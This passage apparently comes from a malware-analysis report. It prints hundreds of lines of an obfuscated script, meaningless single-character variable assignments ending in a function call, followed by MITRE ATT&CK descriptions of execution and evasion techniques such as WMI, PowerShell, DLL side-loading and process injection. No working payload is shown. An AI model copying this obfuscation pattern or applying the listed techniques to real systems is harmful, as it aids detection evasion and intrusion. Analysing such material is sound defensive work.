529	ykxagsr = "e";
530	ykxagsr = "A";
531	ykxagsr = "c";
532	ykxagsr = "G";
533	ykxagsr = "z";
534	ykxagsr = "u";
535	ykxagsr = "O";
536	ykxagsr = "D";
537	ykxagsr = "o";
538	ykxagsr = "G";
539	ykxagsr = "J";
540	ykxagsr = "Z";
541	ykxagsr = "Q";
542	ykxagsr = "A";
543	ykxagsr = "U";
544	ykxagsr = "B";
545	ykxagsr = "Q";
546	awgln = "u";
547	awgln = "z";
548	awgln = "n";
549	awgln = "d";
550	awgln = "g";
551	awgln = "d";
552	awgln = "b";
553	awgln = "n";
554	awgln = "V";
555	awgln = "H";
556	awgln = "O";
557	awgln = "w";
558	awgln = "d";
559	awgln = "k";
560	rrqvlt = "T";
561	rrqvlt = "S";
562	rrqvlt = "d";
563	rrqvlt = "c";
564	rrqvlt = "r";
565	rrqvlt = "r";
566	rrqvlt = "d";
567	rrqvlt = "f";
568	rrqvlt = "H";
569	rrqvlt = "B";
570	rrqvlt = "d";
571	rrqvlt = "s";
572	rrqvlt = "i";
573	rrqvlt = "y";
574	rrqvlt = "N";
575	rrqvlt = "d";
576	rrqvlt = "A";
577	rrqvlt = "I";
578	rrqvlt = "H";
579	rrqvlt = "g";
580	rrqvlt = "H";
581	rrqvlt = "g";
582	rrqvlt = "r";
583	rrqvlt = "9";
584	vgjkcm = "H";
585	vgjkcm = "D";
586	vgjkcm = "F";
587	vgjkcm = "t";
588	vgjkcm = "T";
589	vgjkcm = "O";
590	vgjkcm = "w";
591	vgjkcm = "s";
592	vgjkcm = "U";
593	vgjkcm = "t";
594	vgjkcm = "j";
595	vgjkcm = "d";
596	vgjkcm = "F";
597	vgjkcm = "X";
598	vgjkcm = "g";
599	vgjkcm = "O";
600	vgjkcm = "O";
601	vgjkcm = "O";
602	vgjkcm = "T";
603	vgjkcm = "C";
604	vgjkcm = "A";
605	vgjkcm = "S";
606	vgjkcm = "k";
607	vgjkcm = "H";
608	vgjkcm = "L";
609	vgjkcm = "S";
610	vgjkcm = "p";
611	tkxcasi = "B";
612	tkxcasi = "E";
613	tkxcasi = "i";
614	tkxcasi = "A";
615	tkxcasi = "U";
616	tkxcasi = "d";
617	tkxcasi = "w";
618	tkxcasi = "b";
619	tkxcasi = "Z";
620	tkxcasi = "G";
621	tkxcasi = "d";
622	tkxcasi = "R";
623	tkxcasi = "p";
624	tkxcasi = "F";
625	tkxcasi = "i";
626	tkxcasi = "n";
627	tkxcasi = "I";
628	tkxcasi = "R";
629	tkxcasi = "j";
630	tkxcasi = "G";
631	tkxcasi = "O";
632	tkxcasi = "p";
633	tkxcasi = "C";
634	tkxcasi = "m";
635	tkxcasi = "H";
636	tkxcasi = "C";
637	ygudb = "r";
638	ygudb = "m";
639	ygudb = "D";
640	ygudb = "M";
641	ygudb = "L";
642	ygudb = "P";
643	ygudb = "o";
644	ygudb = "A";
645	ygudb = "o";
646	ygudb = "F";
647	ygudb = "i";
648	ygudb = "L";
649	ygudb = "y";
650	ygudb = "T";
651	ygudb = "N";
652	ygudb = "i";
653	ygudb = "e";
654	ygudb = "r";
655	ygudb = "v";
656	ygudb = "S";
657	ygudb = "k";
658	ygudb = "z";
659	ygudb = "V";
660	ygudb = "l";
661	ygudb = "W";
662	ygudb = "n";
663	ygudb = "b";
664	ygudb = "p";
665	ygudb = "d";
666	ygudb = "d";
667	ygudb = "j";
668	ygudb = "k";
669	ygudb = "q";
670	ygudb = "V";
671	ygudb = "N";
672	ygudb = "R";
673	ygudb = "l";
674	ygudb = "f";
675	ygudb = "p";
676	ygudb = "D";
677	ygudb = "v";
678	ygudb = "W";
679	uqnbcmulw = "i";
680	uqnbcmulw = "n";
681	uqnbcmulw = "c";
682	uqnbcmulw = "S";
683	uqnbcmulw = "Q";
684	uqnbcmulw = "o";
685	uqnbcmulw = "T";
686	uqnbcmulw = "u";
687	uqnbcmulw = "U";
688	uqnbcmulw = "E";
689	uqnbcmulw = "u";
690	uqnbcmulw = "B";
691	uqnbcmulw = "N";
692	uqnbcmulw = "e";
693	uqnbcmulw = "z";
694	uqnbcmulw = "n";
695	uqnbcmulw = "B";
696	uqnbcmulw = "w";
697	uqnbcmulw = "g";
698	uqnbcmulw = "q";
699	uqnbcmulw = "V";
700	uqnbcmulw = "L";
701	uqnbcmulw = "K";
702	uqnbcmulw = "D";
703	uqnbcmulw = "v";
704	uqnbcmulw = "B";
705	uqnbcmulw = "s";
706	uqnbcmulw = "Q";
707	uqnbcmulw = "F";
708	uqnbcmulw = "M";
709	uqnbcmulw = "n";
710	uqnbcmulw = "X";
711	uqnbcmulw = "r";
712	uqnbcmulw = "I";
713	uqnbcmulw = "M";
714	uqnbcmulw = "_";
715	obaolpzql = "I";
716	obaolpzql = "W";
717	obaolpzql = "X";
718	obaolpzql = "X";
719	obaolpzql = "m";
720	obaolpzql = "J";
721	obaolpzql = "n";
722	obaolpzql = "P";
723	obaolpzql = "w";
724	obaolpzql = "y";
725	obaolpzql = "M";
726	obaolpzql = "z";
727	obaolpzql = "H";
728	obaolpzql = "v";
729	obaolpzql = "c";
730	obaolpzql = "O";
731	obaolpzql = "T";
732	obaolpzql = "u";
733	obaolpzql = "A";
734	obaolpzql = "v";
735	obaolpzql = "E";
736	obaolpzql = "K";
737	obaolpzql = "i";
738	obaolpzql = "R";
739	obaolpzql = "U";
740	obaolpzql = "I";
741	obaolpzql = "m";
742	obaolpzql = "A";
743	obaolpzql = "k";
744	obaolpzql = "O";
745	obaolpzql = "h";
746	obaolpzql = "P";
747	obaolpzql = "q";
748	obaolpzql = "q";
749	obaolpzql = "G";
750	obaolpzql = "J";
751	obaolpzql = "I";
752	obaolpzql = "X";
753	obaolpzql = "Q";
754	obaolpzql = "R";
755	bkwzmnnfz = "u";
756	bkwzmnnfz = "v";
757	bkwzmnnfz = "x";
758	bkwzmnnfz = "j";
759	bkwzmnnfz = "f";
760	bkwzmnnfz = "w";
761	bkwzmnnfz = "p";
762	bkwzmnnfz = "R";
763	bkwzmnnfz = "a";
764	bkwzmnnfz = "B";
765	bkwzmnnfz = "r";
766	bkwzmnnfz = "k";
767	bkwzmnnfz = "W";
768	bkwzmnnfz = "t";
769	bkwzmnnfz = "V";
770	bkwzmnnfz = "k";
771	bkwzmnnfz = "k";
772	bkwzmnnfz = "k";
773	bkwzmnnfz = "Q";
774	bkwzmnnfz = "o";
775	bkwzmnnfz = "g";
776	bkwzmnnfz = "H";
777	bkwzmnnfz = "E";
778	bkwzmnnfz = "w";
779	bkwzmnnfz = "E";
780	bkwzmnnfz = "u";
781	bkwzmnnfz = "S";
782	bkwzmnnfz = "q";
783	bkwzmnnfz = "X";
784	bkwzmnnfz = "h";
785	bkwzmnnfz = "y";
786	bkwzmnnfz = "V";
787	bkwzmnnfz = "Z";
788	bkwzmnnfz = "K";
789	bkwzmnnfz = "y";
790	bkwzmnnfz = "H";
791	bkwzmnnfz = "E";
792	opybr = "A";
793	opybr = "P";
794	opybr = "w";
795	opybr = "y";
796	opybr = "m";
797	opybr = "L";
798	opybr = "I";
799	opybr = "L";
800	opybr = "l";
801	opybr = "A";
802	opybr = "U";
803	opybr = "z";
804	opybr = "y";
805	opybr = "h";
806	opybr = "x";
807	oevvhymw = "s";
808	oevvhymw = "q";
809	puywmgwfr = "V";
810	puywmgwfr = "U";
811	puywmgwfr = "Y";
812	puywmgwfr = "E";
813	puywmgwfr = "m";
814	puywmgwfr = "v";
815	puywmgwfr = "t";
816	puywmgwfr = "m";
817	puywmgwfr = "J";
818	puywmgwfr = "x";
819	puywmgwfr = "U";
820	puywmgwfr = "s";
821	puywmgwfr = "d";
822	puywmgwfr = "C";
823	puywmgwfr = "Y";
824	puywmgwfr = "J";
825	puywmgwfr = "p";
826	puywmgwfr = "S";
827	puywmgwfr = "Z";
828	puywmgwfr = "C";
829	puywmgwfr = "Z";
830	puywmgwfr = "K";
831	puywmgwfr = "z";
832	puywmgwfr = "Q";
833	puywmgwfr = "o";
834	puywmgwfr = "F";
835	puywmgwfr = "w";
836	puywmgwfr = "w";
837	puywmgwfr = "j";
838	puywmgwfr = "A";
839	puywmgwfr = "c";
840	puywmgwfr = "g";
841	pexbbb = "R";
842	pexbbb = "U";
843	pexbbb = "m";
844	pexbbb = "E";
845	pexbbb = "d";
846	pexbbb = "c";
847	pexbbb = "W";
848	pexbbb = "B";
849	pexbbb = "P";
850	pexbbb = "g";
851	pexbbb = "J";
852	pexbbb = "P";
853	pexbbb = "g";
854	pexbbb = "Q";
855	pexbbb = "i";
856	pexbbb = "x";
857	pexbbb = "f";
858	pexbbb = "U";
859	pexbbb = "g";
860	pexbbb = "H";
861	pexbbb = "d";
862	pexbbb = "K";
863	pexbbb = "c";
864	pexbbb = "W";
865	pexbbb = "B";
866	pexbbb = "g";
867	pexbbb = "C";
868	pexbbb = "R";
869	pexbbb = "U";
870	pexbbb = "C";
871	pexbbb = "i";
872	cpfojsr = "J";
873	cpfojsr = "p";
874	cpfojsr = "H";
875	cpfojsr = "z";
876	cpfojsr = "r";
877	fpzwns = "G";
878	fpzwns = "k";
879	fpzwns = "w";
880	fpzwns = "m";
881	fpzwns = "v";
882	fpzwns = "L";
883	fpzwns = "r";
884	fpzwns = "X";
885	fpzwns = "G";
886	fpzwns = "V";
887	fpzwns = "p";
888	fpzwns = "p";
889	fpzwns = "h";
890	fpzwns = "W";
891	fpzwns = "x";
892	fpzwns = "p";
893	fpzwns = "S";
894	fpzwns = "H";
895	fpzwns = "x";
896	fpzwns = "S";
897	fpzwns = "W";
898	fpzwns = "h";
899	fpzwns = "B";
900	fpzwns = "y";
901	fpzwns = "m";
902	fpzwns = "J";
903	fpzwns = "V";
904	fpzwns = "I";
905	fpzwns = "T";
906	fpzwns = "m";
907	fpzwns = "b";
908	fpzwns = "b";
909	fpzwns = "X";
910	fpzwns = "n";
911	vyhxp = "j";
912	vyhxp = "s";
913	vyhxp = "T";
914	vyhxp = "I";
915	vyhxp = "Q";
916	vyhxp = "A";
917	vyhxp = "F";
918	vyhxp = "f";
919	xjipsfv = "w";
920	xjipsfv = "s";
921	xjipsfv = "Y";
922	xjipsfv = "o";
923	xjipsfv = "O";
924	xjipsfv = "I";
925	xjipsfv = "Y";
926	xjipsfv = "M";
927	xjipsfv = "Y";
928	xjipsfv = "v";
929	xjipsfv = "v";
930	xjipsfv = "E";
931	xjipsfv = "W";
932	xjipsfv = "M";
933	xjipsfv = "Z";
934	xjipsfv = "M";
935	xjipsfv = "Y";
936	xjipsfv = "O";
937	xjipsfv = "e";
938	xjipsfv = "a";
939	xjipsfv = "A";
940	xjipsfv = "D";
941	xjipsfv = "o";
942	xjipsfv = "j";
943	xjipsfv = "J";
944	xjipsfv = "K";
945	lhazfcbe = "J";
946	lhazfcbe = "k";
947	lhazfcbe = "B";
948	lhazfcbe = "i";
949	lhazfcbe = "I";
950	lhazfcbe = "b";
951	lhazfcbe = "D";
952	lhazfcbe = "f";
953	lhazfcbe = "R";
954	lhazfcbe = "I";
955	lhazfcbe = "T";
956	lhazfcbe = "C";
957	lhazfcbe = "m";
958	lhazfcbe = "f";
959	lhazfcbe = "X";
960	lhazfcbe = "l";
961	lhazfcbe = "h";
962	lhazfcbe = "a";
963	lhazfcbe = "g";
964	lhazfcbe = "Q";
965	lhazfcbe = "p";
966	lhazfcbe = "p";
967	lhazfcbe = "F";
968	lhazfcbe = "r";
969	lhazfcbe = "l";
970	lhazfcbe = "v";
971	lhazfcbe = "H";
972	lhazfcbe = "c";
973	lhazfcbe = "K";
974	lhazfcbe = "q";
975	lhazfcbe = "k";
976	lhazfcbe = "t";
977	lhazfcbe = "D";
978	lhazfcbe = "Q";
979	lhazfcbe = "J";
980	lhazfcbe = "n";
981	lhazfcbe = "h";
982	wucqeoru = "s";
983	wucqeoru = "y";
984	wucqeoru = "f";
985	wucqeoru = "K";
986	wucqeoru = "d";
987	wucqeoru = "m";
988	wucqeoru = "O";
989	wucqeoru = "b";
990	wucqeoru = "I";
991	wucqeoru = "H";
992	wucqeoru = "k";
993	wucqeoru = "R";
994	wucqeoru = "s";
995	wucqeoru = "T";
996	wucqeoru = "G";
997	wucqeoru = "e";
998	wucqeoru = "r";
999	wucqeoru = "Q";
1000	wucqeoru = "s";
1001	wucqeoru = "g";
1002	wucqeoru = "H";
1003	wucqeoru = "Z";
1004	wucqeoru = "l";
1005	jihhrbqjo = "Z";
1006	jihhrbqjo = "N";
1007	jihhrbqjo = "n";
1008	jihhrbqjo = "Y";
1009	jihhrbqjo = "s";
1010	jihhrbqjo = "q";
1011	jihhrbqjo = "E";
1012	jihhrbqjo = "A";
1013	jihhrbqjo = "j";
1014	jihhrbqjo = "O";
1015	jihhrbqjo = "c";
1016	jihhrbqjo = "b";
1017	jihhrbqjo = "W";
1018	jihhrbqjo = "z";
1019	jihhrbqjo = "q";
1020	jihhrbqjo = "X";
1021	jihhrbqjo = "s";
1022	jihhrbqjo = "Y";
1023	jihhrbqjo = "W";
1024	jihhrbqjo = "u";
1025	jihhrbqjo = "F";
1026	jihhrbqjo = "Y";
1027	jihhrbqjo = "X";
1028	jihhrbqjo = "Q";
1029	jihhrbqjo = "g";
1030	jihhrbqjo = "E";
1031	jihhrbqjo = "I";
1032	jihhrbqjo = "I";
1033	jihhrbqjo = "b";
1034	jihhrbqjo = "e";
1035	jihhrbqjo = "j";
1036	jihhrbqjo = "F";
1037	jihhrbqjo = "b";
1038	megiutb = "T";
1039	megiutb = "J";
1040	megiutb = "l";
1041	megiutb = "n";
1042	megiutb = "m";
1043	megiutb = "G";
1044	megiutb = "d";
1045	megiutb = "e";
1046	megiutb = "F";
1047	megiutb = "D";
1048	megiutb = "n";
1049	megiutb = "A";
1050	megiutb = "&";
1051	deitm = "H";
1052	deitm = "C";
1053	deitm = "L";
1054	deitm = "O";
1055	deitm = "w";
1056	deitm = "a";
1057	deitm = "s";
1058	deitm = "U";
1059	deitm = "t";
1060	deitm = "b";
1061	deitm = "y";
1062	deitm = "d";
1063	deitm = "T";
1064	deitm = "u";
1065	deitm = "x";
1066	deitm = "O";
1067	deitm = "B";
1068	deitm = "F";
1069	deitm = "b";
1070	deitm = "Y";
1071	deitm = "y";
1072	deitm = "N";
1073	deitm = "P";
1074	deitm = "I";
1075	deitm = "t";
1076	deitm = "Y";
1077	deitm = "J";
1078	deitm = "n";
1079	deitm = "b";
1080	deitm = "q";
1081	deitm = "y";
1082	deitm = "N";
1083	deitm = "M";
1084	deitm = "A";
1085	deitm = "Y";
1086	cuhlygs = "s";
1087	cuhlygs = "X";
1088	cuhlygs = "T";
1089	cuhlygs = "A";
1090	cuhlygs = "O";
1091	cuhlygs = "o";
1092	cuhlygs = "j";
1093	cuhlygs = "O";
1094	cuhlygs = "u";
1095	cuhlygs = "a";
1096	cuhlygs = "K";
1097	cuhlygs = "Y";
1098	cuhlygs = "e";
1099	cuhlygs = "w";
1100	cuhlygs = "J";
1101	cuhlygs = "t";
1102	cuhlygs = "w";
1103	vjbzy = "b";
1104	vjbzy = "T";
1105	vjbzy = "b";
1106	vjbzy = "x";
1107	vjbzy = "r";
1108	vjbzy = "R";
1109	vjbzy = "M";
1110	vjbzy = "D";
1111	vjbzy = "F";
1112	vjbzy = "p";
1113	vjbzy = "M";
1114	vjbzy = "z";
1115	vjbzy = "l";
1116	vjbzy = "r";
1117	vjbzy = "K";
1118	vjbzy = "Q";
1119	vjbzy = "y";
1120	vjbzy = "d";
1121	vjbzy = "e";
1122	vjbzy = "N";
1123	vjbzy = "e";
1124	vjbzy = "N";
1125	vjbzy = "E";
1126	vjbzy = "D";
1127	vjbzy = "f";
1128	vjbzy = "A";
1129	vjbzy = "X";
1130	vjbzy = "b";
1131	vjbzy = "r";
1132	vjbzy = "T";
1133	vjbzy = "B";
1134	vjbzy = "y";
1135	vjbzy = "b";
1136	vjbzy = "h";
1137	vjbzy = "U";
1138	vjbzy = "H";
1139	aridz = "T";
1140	aridz = "B";
1141	aridz = "N";
1142	aridz = "k";
1143	aridz = "L";
1144	aridz = "D";
1145	aridz = "Y";
1146	aridz = "i";
1147	aridz = "n";
1148	aridz = "L";
1149	aridz = "w";
1150	aridz = "p";
1151	aridz = "N";
1152	aridz = "X";
1153	aridz = "L";
1154	aridz = "g";
1155	aridz = "O";
1156	aridz = "L";
1157	aridz = "X";
1158	aridz = "I";
1159	aridz = "O";
1160	aridz = "p";
1161	aridz = "B";
1162	aridz = "S";
1163	aridz = "q";
1164	aridz = "K";
1165	aridz = "I";
1166	aridz = "V";
1167	aridz = "I";
1168	aridz = "Q";
1169	aridz = "W";
1170	aridz = "P";
1171	aridz = "X";
1172	aridz = "I";
1173	bwdoxkxm = "H";
1174	bwdoxkxm = "T";
1175	bwdoxkxm = "W";
1176	bwdoxkxm = "O";
1177	bwdoxkxm = "h";
1178	bwdoxkxm = "Z";
1179	bwdoxkxm = "p";
1180	bwdoxkxm = "T";
1181	bwdoxkxm = "L";
1182	bwdoxkxm = "q";
1183	bwdoxkxm = "T";
1184	bwdoxkxm = "h";
1185	bwdoxkxm = "t";
1186	bwdoxkxm = "m";
1187	bwdoxkxm = "P";
1188	bwdoxkxm = "8";
1189	iifsmowrc = "g";
1190	iifsmowrc = "h";
1191	iifsmowrc = "B";
1192	iifsmowrc = "k";
1193	iifsmowrc = "z";
1194	iifsmowrc = "x";
1195	iifsmowrc = "S";
1196	gfskt = "L";
1197	gfskt = "Q";
1198	gfskt = "t";
1199	gfskt = "J";
1200	gfskt = "z";
1201	gfskt = "u";
1202	gfskt = "y";
1203	gfskt = "F";
1204	gfskt = "P";
1205	gfskt = "r";
1206	gfskt = "M";
1207	gfskt = "A";
1208	gfskt = "h";
1209	gfskt = "-";
1210	tqbwv = "Z";
1211	tqbwv = "i";
1212	tqbwv = "Y";
1213	tqbwv = "Y";
1214	tqbwv = "T";
1215	tqbwv = "o";
1216	tqbwv = "M";
1217	tqbwv = "h";
1218	tqbwv = "F";
1219	tqbwv = "A";
1220	tqbwv = "Q";
1221	tqbwv = "D";
1222	tqbwv = "G";
1223	tqbwv = "v";
1224	tqbwv = "a";
1225	tqbwv = "e";
1226	tqbwv = "G";
1227	tqbwv = "r";
1228	tqbwv = "U";
1229	tqbwv = "J";
1230	tqbwv = "p";
1231	tqbwv = "c";
1232	tqbwv = "Q";
1233	tqbwv = "b";
1234	tqbwv = "Y";
1235	tqbwv = "1";
1236	jhnevv = "m";
1237	jhnevv = "i";
1238	jhnevv = "F";
1239	jhnevv = "C";
1240	jhnevv = "m";
1241	jhnevv = "H";
1242	jhnevv = "Y";
1243	jhnevv = "k";
1244	jhnevv = "G";
1245	jhnevv = "q";
1246	jhnevv = "L";
1247	jhnevv = "P";
1248	jhnevv = "u";
1249	jhnevv = "b";
1250	jhnevv = "r";
1251	jhnevv = "u";
1252	jhnevv = "D";
1253	jhnevv = "I";
1254	jhnevv = "U";
1255	jhnevv = "j";
1256	jhnevv = "i";
1257	jhnevv = "P";
1258	jhnevv = "R";
1259	jhnevv = "R";
1260	jhnevv = "o";
1261	jhnevv = "G";
1262	jhnevv = "P";
1263	jhnevv = "X";
1264	jhnevv = "A";
1265	jhnevv = "3";
1266	qfbvlkr = "n";
1267	qfbvlkr = "Z";
1268	qfbvlkr = "j";
1269	qfbvlkr = "m";
1270	qfbvlkr = "t";
1271	qfbvlkr = "u";
1272	qfbvlkr = "D";
1273	qfbvlkr = "M";
1274	qfbvlkr = "Q";
1275	qfbvlkr = "z";
1276	qfbvlkr = "z";
1277	qfbvlkr = "T";
1278	qfbvlkr = "u";
1279	qfbvlkr = "e";
1280	qfbvlkr = "y";
1281	qfbvlkr = "F";
1282	qfbvlkr = "P";
1283	qfbvlkr = "C";
1284	qfbvlkr = "E";
1285	qfbvlkr = "d";
1286	qfbvlkr = "P";
1287	qfbvlkr = "j";
1288	ojnste = "u";
1289	ojnste = "D";
1290	ojnste = "q";
1291	ojnste = "M";
1292	ojnste = "i";
1293	ojnste = "A";
1294	ojnste = "I";
1295	ojnste = "G";
1296	ojnste = "s";
1297	ojnste = "v";
1298	ojnste = "L";
1299	ojnste = "f";
1300	ojnste = "F";
1301	ojnste = "@";
1302	rfczfd = "h";
1303	rfczfd = "v";
1304	rfczfd = "A";
1305	rfczfd = "i";
1306	rfczfd = "E";
1307	rfczfd = "G";
1308	rfczfd = "G";
1309	rfczfd = "R";
1310	rfczfd = "W";
1311	rfczfd = "D";
1312	rfczfd = "T";
1313	rfczfd = "C";
1314	rfczfd = "C";
1315	rfczfd = "o";
1316	rfczfd = "c";
1317	rfczfd = "t";
1318	rfczfd = "p";
1319	rfczfd = "G";
1320	rfczfd = "y";
1321	rfczfd = "j";
1322	rfczfd = "Z";
1323	rfczfd = "O";
1324	rfczfd = "d";
1325	rfczfd = "q";
1326	rfczfd = "g";
1327	rfczfd = "Z";
1328	rfczfd = "Z";
1329	rfczfd = "Y";
1330	rfczfd = "Q";
1331	rfczfd = "p";
1332	rfczfd = "R";
1333	rfczfd = "G";
1334	rfczfd = "U";
1335	rfczfd = "O";
1336	rfczfd = "c";
1337	rfczfd = "q";
1338	rfczfd = "k";
1339	rfczfd = "M";
1340	rfczfd = "s";
1341	rfczfd = "X";
1342	rfczfd = "H";
1343	rfczfd = "G";
1344	rfczfd = "I";
1345	rfczfd = "L";
1346	rfczfd = "N";
1347	wdwsvfzr = "x";
1348	wdwsvfzr = "x";
1349	wdwsvfzr = "F";
1350	wdwsvfzr = "g";
1351	wdwsvfzr = "P";
1352	exwtpq = "Z";
1353	exwtpq = "l";
1354	exwtpq = "N";
1355	exwtpq = "g";
1356	exwtpq = "Q";
1357	exwtpq = "A";
1358	exwtpq = "y";
1359	exwtpq = "h";
1360	exwtpq = "S";
1361	exwtpq = "m";
1362	exwtpq = "a";
1363	exwtpq = "d";
1364	exwtpq = "N";
1365	exwtpq = "G";
1366	exwtpq = "Z";
1367	exwtpq = "H";
1368	exwtpq = "p";
1369	exwtpq = "I";
1370	exwtpq = "N";
1371	exwtpq = "z";
1372	exwtpq = "f";
1373	exwtpq = "Z";
1374	exwtpq = "v";
1375	exwtpq = "%";
1376	sxtuxvfyh = "q";
1377	sxtuxvfyh = "g";
1378	sxtuxvfyh = "U";
1379	sxtuxvfyh = "h";
1380	sxtuxvfyh = "R";
1381	sxtuxvfyh = "C";
1382	sxtuxvfyh = "w";
1383	sxtuxvfyh = "R";
1384	sxtuxvfyh = "j";
1385	sxtuxvfyh = "B";
1386	sxtuxvfyh = "F";
1387	isqemghw = "f";
1388	isqemghw = "N";
1389	isqemghw = "d";
1390	isqemghw = "O";
1391	isqemghw = "J";
1392	isqemghw = "y";
1393	isqemghw = "e";
1394	isqemghw = "J";
1395	isqemghw = "I";
1396	isqemghw = "O";
1397	isqemghw = "J";
1398	isqemghw = "G";
1399	isqemghw = "a";
1400	isqemghw = "d";
1401	ntkbtdist = "E";
1402	ntkbtdist = "F";
1403	ntkbtdist = "t";
1404	ntkbtdist = "v";
1405	ntkbtdist = "H";
1406	ntkbtdist = "i";
1407	ntkbtdist = "A";
1408	ntkbtdist = "K";
1409	ntkbtdist = "D";
1410	ntkbtdist = "f";
1411	ntkbtdist = "Q";
1412	ntkbtdist = "m";
1413	mvhvhrpuw = "k";
1414	mvhvhrpuw = "W";
1415	mvhvhrpuw = "D";
1416	mvhvhrpuw = "J";
1417	mvhvhrpuw = "w";
1418	mvhvhrpuw = "z";
1419	mvhvhrpuw = "q";
1420	mvhvhrpuw = "D";
1421	mvhvhrpuw = "d";
1422	mvhvhrpuw = "J";
1423	mvhvhrpuw = "o";
1424	mvhvhrpuw = "u";
1425	mvhvhrpuw = "A";
1426	mvhvhrpuw = "B";
1427	mvhvhrpuw = "g";
1428	mvhvhrpuw = "B";
1429	mvhvhrpuw = "w";
1430	mvhvhrpuw = "L";
1431	mvhvhrpuw = "T";
1432	mvhvhrpuw = "Z";
1433	mvhvhrpuw = "S";
1434	mvhvhrpuw = "y";
1435	mvhvhrpuw = "H";
1436	mvhvhrpuw = "f";
1437	mvhvhrpuw = "j";
1438	mvhvhrpuw = "p";
1439	mvhvhrpuw = "z";
1440	mvhvhrpuw = "E";
1441	mvhvhrpuw = "Z";
1442	mvhvhrpuw = "f";
1443	mvhvhrpuw = "G";
1444	mvhvhrpuw = "U";
1445	mvhvhrpuw = "t";
1446	mvhvhrpuw = "n";
1447	mvhvhrpuw = "L";
1448	mvhvhrpuw = "e";
1449	mvhvhrpuw = "O";
1450	mvhvhrpuw = "z";
1451	mvhvhrpuw = "r";
1452	mvhvhrpuw = "L";
1453	mvhvhrpuw = "r";
1454	mvhvhrpuw = "l";
1455	mvhvhrpuw = "p";
1456	mvhvhrpuw = "m";
1457	mvhvhrpuw = "v";
1458	snainpb = "O";
1459	snainpb = "O";
1460	snainpb = "S";
1461	snainpb = "o";
1462	balvtccod = "i";
1463	balvtccod = "z";
1464	balvtccod = "E";
1465	balvtccod = "d";
1466	balvtccod = "Y";
1467	balvtccod = "u";
1468	balvtccod = "b";
1469	balvtccod = "n";
1470	balvtccod = "r";
1471	balvtccod = "Y";
1472	balvtccod = "e";
1473	balvtccod = "C";
1474	balvtccod = "d";
1475	balvtccod = "O";
1476	balvtccod = "V";
1477	balvtccod = "j";
1478	balvtccod = "j";
1479	balvtccod = "w";
1480	balvtccod = "K";
1481	balvtccod = "l";
1482	balvtccod = "f";
1483	balvtccod = "e";
1484	balvtccod = "o";
1485	balvtccod = "J";
1486	balvtccod = "i";
1487	balvtccod = "E";
1488	balvtccod = "Y";
1489	balvtccod = "p";
1490	balvtccod = "E";
1491	balvtccod = "d";
1492	balvtccod = "e";
1493	balvtccod = "S";
1494	balvtccod = "h";
1495	balvtccod = "j";
1496	balvtccod = "s";
1497	balvtccod = "h";
1498	balvtccod = "s";
1499	balvtccod = "V";
1500	balvtccod = "R";
1501	balvtccod = "G";
1502	balvtccod = "L";
1503	balvtccod = "W";
1504	balvtccod = "W";
1505	balvtccod = "4";
1506	snvmpxv = "v";
1507	snvmpxv = "C";
1508	snvmpxv = "s";
1509	snvmpxv = "O";
1510	snvmpxv = "0";
1511	bmzkep ( );	bmzkep() ➔ undefined

Reset < >

Description:	This technique has been deprecated. Please use Command and Scripting Interpreter where appropriate.
Tactics:	Defense Evasion, Execution
Data Sources:
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse Windows Management Instrumentation (WMI) to execute malicious commands and payloads. WMI is an administration feature that provides a uniform environment to access Windows system components. The WMI service enables both local and remote access, though the latter is facilitated by Remote Services such as Distributed Component Object Model (DCOM) and Windows Remote Management (WinRM).Remote WMI over DCOM operates using port 135, whereas WMI over WinRM operates over port 5985 when using HTTP and 5986 for HTTPS.
Tactics:	Execution
Data Sources:	Command: Command Execution, Network Traffic: Network Connection Creation, Process: Process Creation, WMI: WMI Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse command and script interpreters to execute commands, scripts, or binaries. These interfaces and languages provide ways of interacting with computer systems and are a common feature across many different platforms. Most systems come with some built-in command-line interface and scripting capabilities, for example, macOS and Linux distributions include some flavor of Unix Shell while Windows installations include the Windows Command Shell and PowerShell .
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Network, Office 365, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may interact with the native OS application programming interface (API) to execute behaviors. Native APIs provide a controlled means of calling low-level OS services within the kernel, such as those involving hardware/devices, memory, and processes.These native APIs are leveraged by the OS during system boot (when other system components are not yet initialized) as well as carrying out tasks and requests during routine operations.
Tactics:	Execution
Data Sources:	Module: Module Load, Process: OS API Execution
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may exploit software vulnerabilities in client applications to execute code. Vulnerabilities can exist in software due to unsecure coding practices that can lead to unanticipated behavior. Adversaries can take advantage of certain vulnerabilities through targeted exploitation for the purpose of arbitrary code execution. Oftentimes the most valuable exploits to an offensive toolkit are those that can be used to obtain code execution on a remote system because they can be used to gain access to that system. Users will expect to see files related to the applications they commonly used to do work, so they are a useful target for exploit research and development because of their high utility.
Tactics:	Execution
Data Sources:	Application Log: Application Log Content, Process: Process Creation
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may abuse PowerShell commands and scripts for execution. PowerShell is a powerful interactive command-line interface and scripting environment included in the Windows operating system.Adversaries can use PowerShell to perform a number of actions, including discovery of information and execution of code. Examples include the `Start-Process` cmdlet which can be used to run an executable and the `Invoke-Command` cmdlet which runs a command locally or on a remote computer (though administrator permissions are required to use PowerShell to connect to remote systems).
Tactics:	Execution
Data Sources:	Command: Command Execution, Module: Module Load, Process: Process Creation, Process: Process Metadata, Script: Script Execution
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may execute their own malicious payloads by side-loading DLLs. Similar to DLL Search Order Hijacking , side-loading involves hijacking which DLL a program loads. But rather than just planting the DLL within the search order of a program then waiting for the victim application to be invoked, adversaries may directly side-load their payloads by planting then invoking a legitimate application that executes their payload(s).
Tactics:	Defense Evasion, Persistence, Privilege Escalation
Data Sources:	File: File Creation, File: File Modification, Module: Module Load, Process: Process Creation
Platforms:	Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may inject code into processes in order to evade process-based defenses as well as possibly elevate privileges. Process injection is a method of executing arbitrary code in the address space of a separate live process. Running code in the context of another process may allow access to the process's memory, system/network resources, and possibly elevated privileges. Execution via process injection may also evade detection from security products since the execution is masked under a legitimate process.
Tactics:	Defense Evasion, Privilege Escalation
